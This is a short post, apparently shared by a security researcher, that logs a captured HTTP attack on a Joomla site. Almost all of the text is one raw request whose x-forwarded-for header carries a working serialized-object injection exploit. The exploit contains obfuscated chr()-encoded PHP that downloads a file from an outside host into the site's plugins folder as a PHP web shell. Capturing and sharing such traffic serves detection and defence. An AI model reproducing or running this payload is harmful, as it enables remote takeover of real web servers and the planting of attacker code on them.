Joomla attack 5.79.71.195

Joomla attack 1/31/2016
*******

GET / HTTP/1.1..Host: test.com..Keep-Alive: 300..Connection: keep-alive..Cookie: test=en-US..User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5_0 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9A334 Safari/7534.48.3..x-forwarded-for: }__test|O:21:"JDatabaseDriverMysqli":3:{s:2:"fc";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:8:"feed_url";s:1091:"eval(chr(99).chr(111).chr(112).chr(121).chr(40).chr(39).chr(104).chr(116).chr(116).chr(112).chr(58).chr(47).chr(47).chr(107).chr(116).chr(45).chr(115).chr(112).chr(98).chr(46).chr(114).chr(117).chr(47).chr(112).chr(108).chr(117).chr(103).chr(105).chr(110).chr(115).chr(47).chr(100).chr(97).chr(116).chr(46).chr(116).chr(120).chr(116).chr(39).chr(44).chr(32).chr(36).chr(95).chr(83).chr(69).chr(82).chr(86).chr(69).chr(82).chr(91).chr(39).chr(68).chr(79).chr(67).chr(85).chr(77).chr(69).chr(78).chr(84).chr(95).chr(82).chr(79).chr(79).chr(84).chr(39).chr(93).chr(46).chr(39).chr(47).chr(112).chr(108).chr(117).chr(103).chr(105).chr(110).chr(115).chr(47).chr(100).chr(97).chr(116).chr(46).chr(112).chr(104).chr(112).chr(39).chr(41).chr(59).chr(32).chr(112).chr(114).chr(105).chr(110).chr(116).chr(40).chr(39).chr(113).chr(119).chr(101).chr(114).chr(116).chr(121).chr(108).chr(49).chr(50).chr(51).chr(52).chr(53).chr(54).chr(55).chr(56).chr(57).chr(117).chr(105).chr(111).chr(97).chr(115).chr(100).chr(102).chr(103).chr(104).chr(106).chr(107).chr(39).chr(41).chr(59));JFactory::getConfig();exit";s:19:"cache_name_function";s:6:"assert";s:5:"cache";b:1;s:11:"cache_class";O:20:"JDatabaseDriverMysql":0:{}}i:1;s:4:"init";}}s:13:"\0\0\0connection";b:1;}......Referer: test.com..Accept-Encoding: gzip, deflate....


*******
*******
*******
More FROM @neonprimetime security

http://pastebin.com/u/Neonprimetime
https://www.virustotal.com/en/USER/neonprimetime/
https://twitter.com/neonprimetime
https://www.reddit.com/USER/neonprimetime